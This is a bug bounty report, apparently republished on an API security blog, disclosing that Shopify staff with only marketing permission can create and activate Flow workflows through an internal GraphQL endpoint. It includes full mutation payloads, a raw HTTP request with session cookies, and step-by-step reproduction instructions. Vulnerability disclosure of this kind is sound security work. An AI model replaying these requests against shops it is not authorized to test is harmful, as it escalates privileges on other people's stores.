Site icon API Security Blog

Shopify: Staff can create workflows in Shopify Admin without apps permission

## Summary:
[add summary of the vulnerability]

According to publicly available docs, Flow can be accessed in two ways.
1. through the Shopify organization admin (Shopify plus)
2. by installing the Shopify Flow app.
I stumbled on /admin/internal/web/graphql/flow endpoint which is accessible to a staff member with only `marketing` permission. The said endpoint makes it possible to create workflows and perform other flow related actions without using any of the two methods stated above. To substantiate my claim, I created a workflow that ‘adds a tag whenever a customer registers an account’ (created an account tag) see the image below for details.
{F1667015}

It’s worth mentioning that the workflows created this way don’t show up in the app or any where else, information about them can only be gotten by hitting the same endpoint. There are couple of other mutations that are accessible but I used only `templateInstall` and `workflowActivate` for demonstration. What follows below are example GraphQL queries and steps to reproduce.
First, we need to install a template to activate.
See the image below for details
{F1667014}

“`
{“operationName”:”templateInstall”,”variables”:{“templateId”:”977bf9aa-ae6a-4a7c-b3f2-051c9e856c6f”,”shopIds”:[]},”query”:”mutation templateInstall($templateId: ID!, $shopIds: [ID!]!) {n templateInstall(templateId: $templateId, shopIds: $shopIds) {n installed {n shopIdn workflowIdn workflowVersionn __typenamen }n errors {n shopIdn messagen __typenamen }n __typenamen }n}n”}

“`
After installing a template of our choice, we then activate the workflow.
See the image below for details.
{F1667018}

“`
{“operationName”:”activateWorkflowMutation”,”variables”:{“workflowId”:”240ed0ee-d099-4066-8eac-7ce777ef4fe4″,”version”:”acc5731a-7802-4622-857b-0191f8c0ee9d”,”contextType”:”shop”,”contextId”:”10979704928″},”query”:”mutation activateWorkflowMutation($workflowId: ID!, $version: String, $contextType: String!, $contextId: ID!) {n workflowActivate(n workflowId: $workflowIdn version: $versionn contextType: $contextTypen contextId: $contextIdn ) {n workflow {n …workflown __typenamen }n __typenamen }n}nnfragment workflow on Workflow {n idn namen steps {n …stepn __typenamen }n links {n …linkn __typenamen }n activations {n …activationn __typenamen }n lastUpdatedn activationStaten versionStaten versionn parentVersionn shopifyDomainn shopifyNamen owner {n contextIdn contextTypen __typenamen }n …validationErrorsn tagsn __typenamen}nnfragment step on Step {n idn task {n …taskn __typenamen }n position {n xn yn __typenamen }n inputPort {n namen identifiern __typenamen }n outputPorts {n namen identifiern __typenamen }n …stepConfign noten descriptionn __typenamen}nnfragment task on Task {n idn labeln descriptionn dynamicDescriptionTemplaten taskTypen pathn inputPort {n idn namen __typenamen }n outputPorts {n idn namen __typenamen }n iconUrln documentationUrln __typenamen}nnfragment stepConfig on Step {n idn taskTypen task {n idn labeln descriptionn __typenamen }n configFields {n __typenamen … on ArrayConfigField {n valuePlaceholdern stepConfigFieldIdentifiern supportsLiquidn descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on CollectionsConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen errors {n titlen messagen __typenamen }n __typenamen }n … on BooleanConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on MapConfigField {n valuePlaceholdern stepConfigFieldIdentifiern supportsLiquidn descriptionn labeln keyHeadern valueHeadern valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on SelectConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln options {n labeln valuen __typenamen }n valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on TextConfigField {n valuePlaceholdern supportsLiquidn stepConfigFieldIdentifiern descriptionn labeln rowsn valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on CommerceObjectConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen possibleObjectTypesn __typenamen }n … on IntegerConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on FloatConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on MarketingActivityConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on DurationConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen possibleUnitsn validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on WeightConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen possibleUnitsn validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on RecurrenceConfigField {n valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen validations {n idn optionsn errorMessagen __typenamen }n __typenamen }n … on ShippingPackageConfigField {n defaultValuen valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen errors {n titlen messagen __typenamen }n __typenamen }n … on ShippingCarrierServicesConfigField {n defaultValuen valuePlaceholdern stepConfigFieldIdentifiern descriptionn labeln valuen errors {n titlen messagen __typenamen }n __typenamen }n }n condition {n __typenamen … on LogicalExpression {n uuidn lhsOperationUuidn logicalOperator: operatorn rhsOperationUuidn parentUuidn __typenamen }n … on ArrayExpression {n uuidn arrayPathUuidn arrayItemKeyUuidn arrayOperator: operatorn operationUuidn parentUuidn __typenamen }n … on Comparison {n uuidn lhsUuidn comparisonOperator: operatorn rhsUuidn valueTypen parentUuidn __typenamen }n … on EnvironmentValue {n uuidn valuen parentUuidn fullEnvironmentPathn __typenamen }n … on LiteralValue {n uuidn valuen parentUuidn __typenamen }n }n __typenamen}nnfragment link on Link {n idn fromStepIdn fromPortIdentifiern toStepIdn toPortIdentifiern __typenamen}nnfragment activation on Activation {n contextIdn contextTypen __typenamen}nnfragment validationErrors on Workflow {n validationErrors {n __typenamen … on StepValidationError {n stepIdn configFieldErrors {n stepConfigFieldIdentifiern messagen positionn configFieldLabeln errorCategoryn __typenamen }n conditionErrors {n nodeUuidn messagen __typenamen }n connectorErrors {n messagen __typenamen }n __typenamen }n … on WorkflowValidationError {n messagen __typenamen }n }n __typenamen}n”}

“`

## Shops Used to Test:
[add list of .myshopify.com domains here, if applicable]

https://davidola2.myshopify.com

## Relevant Request IDs:
[add list of Request ID values (found in X-Request-ID response header)]

856e1132-73d1-4f2f-9013-efbc7f8f0d94
2e174ced-69c0-40bb-8b19-c60f75636e61

## Steps To Reproduce:
[add details for how we can reproduce the issue]

1. Obtain any POST request and send to the repeater tab.
2. Edit it so it looks something like the one below. The key thing is that we’d be hitting the /admin/internal/web/graphql/flow endpoint. See the image below for details.
{F1667017}
“`
POST /admin/internal/web/graphql/flow HTTP/2
Host: davidola2.myshopify.com
Cookie: _secure_admin_session_id=93f2f; _secure_admin_session_id_csrf=93f2
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: VD…
Origin: https://davidola2.myshopify.com
Content-Length: 44
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1

{“operationName”:”AppAccessTimeUpdate”,”variables”:{“appId”:”gid://shopify/App/1602671″},”query”:”mutation AppAccessTimeUpdate($appId: ID!) {n appAccessTimeUpdate(id: $appId) {n app {n idn __typenamen }n userErrors {n fieldn messagen __typenamen }n __typenamen }n}n”}
“`
3. Now, replace the request body with the queries provided above, starting with the first one.

I’m not so sure if this endpoint should be accessible at all, especially to staffs without the required permission. You’d hit this endpoint with an introspection query to know what mutations are exposed.

## Supporting Material:
[list any additional material (e.g. screenshots, video, etc)]

* [attachment / reference]

flow_A.png, flow_B.png, flow_C.png and flow_D.png

## Impact

Staff can perform actions that require more permission.Read More

Exit mobile version